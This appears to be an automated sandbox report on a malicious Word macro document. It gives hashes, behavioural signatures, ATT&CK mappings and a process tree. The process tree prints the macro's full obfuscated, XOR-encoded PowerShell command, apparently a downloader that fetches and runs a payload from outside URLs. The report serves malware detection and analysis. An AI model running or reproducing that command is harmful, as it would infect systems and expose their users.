db4d83b0c0bb6db59e60f99150ac7539b1a38e5459720592ce896f88ce08b48b

General

Target

ef100fbe3ad8f50c04282a843f9cacbb_JaffaCakes118.doc
Size

91KB
MD5

ef100fbe3ad8f50c04282a843f9cacbb
SHA1

1408fa5acb5f4ce88f1e7199c0ac938245cd991f
SHA256

db4d83b0c0bb6db59e60f99150ac7539b1a38e5459720592ce896f88ce08b48b
SHA512

672f3ce8826fc56daaa975bccf27e1fbc65062a275a66b9205ded78d180c593b054a564aef16ab411a49789e834557b91fdeaa70573b6de2f6a795b350226e07
SSDEEP

768:6+1rXkDfrE/S+1oJwxS0JoXRdvoj7cLz67Xu8UrsmMFzA8vOsK12Gdx7v89HdY5S:6+VXu4/S+aJwaXFIrFLvvbG/7qR

Score

10^/10

discovery execution

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process	2700	2052	powershell.exe	29

Blocklisted process makes network request 1 IoCs

flow	pid	Process
8	2700	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2700	powershell.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Office loads VBA resources, possible macro or embedded object present

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2052	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2700	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2700	powershell.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
2052	WINWORD.EXE
2052	WINWORD.EXE

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2052 wrote to memory of 2996	2052	WINWORD.EXE	30
PID 2052 wrote to memory of 2996	2052	WINWORD.EXE	30
PID 2052 wrote to memory of 2996	2052	WINWORD.EXE	30
PID 2052 wrote to memory of 2996	2052	WINWORD.EXE	30
PID 2052 wrote to memory of 2700	2052	WINWORD.EXE	31
PID 2052 wrote to memory of 2700	2052	WINWORD.EXE	31
PID 2052 wrote to memory of 2700	2052	WINWORD.EXE	31
PID 2052 wrote to memory of 2700	2052	WINWORD.EXE	31

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\ef100fbe3ad8f50c04282a843f9cacbb_JaffaCakes118.doc"
1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2052
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:2996
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" . ( $Env:coMsPEc[4,24,25]-JoIN'') ( "$(SV 'oFs' '' ) " +[STRing]((13 , 102,93,66 ,20 , 71 ,76 ,94,4, 70, 75,67 ,76,74, 93,9,103, 76 ,93, 7,126 ,76 , 75 ,106 ,69 ,64 ,76 , 71 ,93,18 ,13 , 113 ,77, 79,20 ,14 , 65,93,93, 89 ,19,6,6,94 , 94 , 94 ,7,90, 93 ,72,91,24 , 17, 78 , 92, 72, 91 , 77 ,64, 72 , 71,90 , 7,74 ,70 ,68,6, 76 ,109 ,28 ,109 , 104,68 ,104 , 16,6 ,105 , 65,93, 93 , 89 , 19 , 6, 6 , 94, 94 ,94,7, 90 , 93,76 , 69 ,69, 72,71 ,77,74 ,70 , 92 ,95, 76 , 91, 7,74,70, 68,6, 29 , 31 , 88 , 29, 79,93, 71, 76 ,6, 105, 65 , 93 , 93 ,89 , 19, 6 ,6,94, 94, 94 ,7,64, 71 , 93,76,91 ,79 ,64 ,77 , 4 , 69 , 64 , 75 , 76 , 91 , 93,80,7,74 , 70,68,6, 99, 99 , 111 , 28,109 ,83,24, 115 , 93,6 ,105 ,65 , 93, 93 ,89, 19,6,6,74,65, 64 , 64,91 , 90,7 ,74 , 70, 68,6, 127 ,64 , 25 ,76,115,101,101,89, 66, 6, 105 , 65 ,93, 93,89,19 ,6 ,6 ,94,94 , 94,7,77 ,72,90,69,76,77 , 90 ,7,74 , 70,68,6 , 75 ,126, 64 ,101 ,92,72 ,120, 6 ,14,7 ,122,89, 69 ,64,93 , 1, 14, 105 , 14, 0 ,18 ,13 ,68,65, 124 ,9 ,20, 9 ,14 ,30, 28 , 14, 18, 13,120, 83,72,20, 13,76 , 71, 95 ,19 ,93, 76 ,68 , 89,2 , 14 , 117 ,14 , 2 , 13,68 , 65,124 ,2 ,14 ,7, 76, 81,76 , 14,18, 79 , 70 ,91, 76 , 72,74 , 65, 1 ,13 , 93, 94, 75 ,9 ,64,71 ,9 ,13,113,77 , 79 ,0, 82 ,93,91, 80 ,82, 13, 102 ,93, 66, 7 , 109 , 70 , 94 , 71 , 69,70 , 72, 77 , 111 ,64 ,69 ,76 ,1 , 13 ,93 ,94 ,75 ,5,9 ,13,120 ,83,72, 0 , 18 ,122,93, 72 , 91, 93, 4,121, 91 ,70 , 74,76 , 90, 90 , 9, 13, 120, 83,72 , 18 , 75 ,91,76 ,72, 66 ,18, 84, 74 , 72, 93 ,74,65 , 82, 84 ,84) | % { [cHAr] ($_ -BXOr '0x29' ) } )+"$( seT 'oFs' ' ') " )
  2⤵
  - Process spawned unexpected child process
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2700

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

Filesize
19KB

MD5
d0ca6c421cf55e8a8c47e69ad68f8a13

SHA1
2cec941a4858863a9cadad3b10acb0bb2a910d71

SHA256
2194ce3f6b06f7b243bf2913cd9cca3810fe7c3a4eca9897471357c0788e5678

SHA512
787f25eac216b2e1ce7011db5c47e9648efb0c3253db914184c30ebbba0524c047b7f21ee62765d1327c177948a78891fa053af5926668c48bff44a462269ac0

Download Submit
memory/2052-11-0x0000000000720000-0x0000000000820000-memory.dmp

Filesize
1024KB

Download
memory/2052-4-0x0000000000720000-0x0000000000820000-memory.dmp

Filesize
1024KB

Download
memory/2052-9-0x0000000000720000-0x0000000000820000-memory.dmp

Filesize
1024KB

Download
memory/2052-23-0x0000000000720000-0x0000000000820000-memory.dmp

Filesize
1024KB

Download
memory/2052-24-0x0000000000720000-0x0000000000820000-memory.dmp

Filesize
1024KB

Download
memory/2052-22-0x0000000000720000-0x0000000000820000-memory.dmp

Filesize
1024KB

Download
memory/2052-20-0x0000000000720000-0x0000000000820000-memory.dmp

Filesize
1024KB

Download
memory/2052-15-0x0000000000720000-0x0000000000820000-memory.dmp

Filesize
1024KB

Download
memory/2052-7-0x0000000000720000-0x0000000000820000-memory.dmp

Filesize
1024KB

Download
memory/2052-0-0x000000002F0D1000-0x000000002F0D2000-memory.dmp

Filesize
4KB

Download
memory/2052-50-0x0000000070FFD000-0x0000000071008000-memory.dmp

Filesize
44KB

Download
memory/2052-2-0x0000000070FFD000-0x0000000071008000-memory.dmp

Filesize
44KB

Download
memory/2052-14-0x0000000000720000-0x0000000000820000-memory.dmp

Filesize
1024KB

Download
memory/2052-5-0x0000000000720000-0x0000000000820000-memory.dmp

Filesize
1024KB

Download
memory/2052-18-0x0000000000720000-0x0000000000820000-memory.dmp

Filesize
1024KB

Download
memory/2052-8-0x0000000000720000-0x0000000000820000-memory.dmp

Filesize
1024KB

Download
memory/2052-32-0x0000000070FFD000-0x0000000071008000-memory.dmp

Filesize
44KB

Download
memory/2052-33-0x0000000000720000-0x0000000000820000-memory.dmp

Filesize
1024KB

Download
memory/2052-34-0x0000000000720000-0x0000000000820000-memory.dmp

Filesize
1024KB

Download
memory/2052-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2052-49-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2052-10-0x0000000000720000-0x0000000000820000-memory.dmp

Filesize
1024KB

Download

Analysis

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